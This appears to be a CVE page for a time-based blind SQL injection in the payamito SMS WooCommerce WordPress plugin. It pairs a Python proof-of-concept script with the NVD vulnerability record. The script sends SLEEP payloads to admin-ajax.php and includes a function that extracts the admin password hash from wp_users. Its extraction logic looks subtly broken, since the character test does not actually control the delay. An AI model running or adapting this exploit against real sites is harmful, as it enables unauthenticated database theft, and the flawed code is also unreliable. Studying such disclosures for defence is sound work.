CVE-2025-13077

import requests import time # CVE-2025-13077 PoC - Time-based Blind SQL Injection # Target: WordPress payamito SMS WooCommerce plugin < =1.3.5 # Parameter: columns def test_sqli(url, column_value): """Test SQL injection with time-based blind technique""" headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Content-Type': 'application/x-www-form-urlencoded' } # Time-based blind SQL injection payload # This payload uses SLEEP() function to create time delays payload = f'{column_value}),(SELECT(SLEEP(5)))--' params = { 'columns': payload, 'action': 'payamito_get_columns', 'nonce': 'attacker_controlled_or_missing' } start_time = time.time() try: response = requests.get(url, params=params, headers=headers, timeout=30) elapsed = time.time() - start_time # If response takes >5 seconds, SQL injection is confirmed if elapsed >= 5: return True, elapsed except requests.exceptions.RequestException: pass return False, 0 def extract_admin_password(url): """Extract admin password hash using blind SQL injection""" # Character-by-character extraction of wp_users user_pass field charset = '0123456789abcdefghijklmnopqrstuvwxyz' result = '' for pos in range(1, 65): # MD5 hash is 32 chars for char in charset: # Subquery to extract character at position payload = f'1 AND (SELECT SUBSTRING(user_pass,{pos},1) FROM wp_users WHERE ID=1)="{char}"' # Adjust SLEEP time based on character match sleep_time = 2 if test_sqli(url, payload)[0] else 0 if sleep_time >= 2: result += char print(f"[*] Extracted char {pos}: {char} | Hash: {result}") break return result # Example usage target_url = "http://target-site.com/wp-admin/admin-ajax.php" print("[*] Testing CVE-2025-13077 SQL Injection...") print(f"[*] Target: {target_url}") # Basic test is_vulnerable, elapsed = test_sqli(target_url, 'id') if is_vulnerable: print(f"[!] Vulnerability confirmed! Response time: {elapsed:.2f}s") print("[*] Proceeding with data extraction...") # admin_hash = extract_admin_password(target_url) # print(f"[*] Admin password hash: {admin_hash}") else: print("[-] Target may not be vulnerable or is not reachable")

{"cve": {"id": "CVE-2025-13077", "sourceIdentifier": "[email protected]", "published": "2025-12-13T16:16:46.690", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The افزونه پیامک ووکامرس فوق حرفه ای (جدید) payamito sms woocommerce plugin for WordPress is vulnerable to time-based blind SQL Injection via the 'columns' parameter in all versions up to, and including, 1.3.5. This is due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://owasp.org/www-community/attacks/SQL_Injection", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/payamito-sms-woocommerce/tags/1.3.5/includes/core/payamito-core/admin/class-payamito-admin.php#L64", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/payamito-sms-woocommerce/tags/1.3.5/includes/core/payamito-core/includes/class-db.php#L64", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/75de6387-fac7-403d-9e6c-89570658d978?source=cve", "source": "[email protected]"}]}}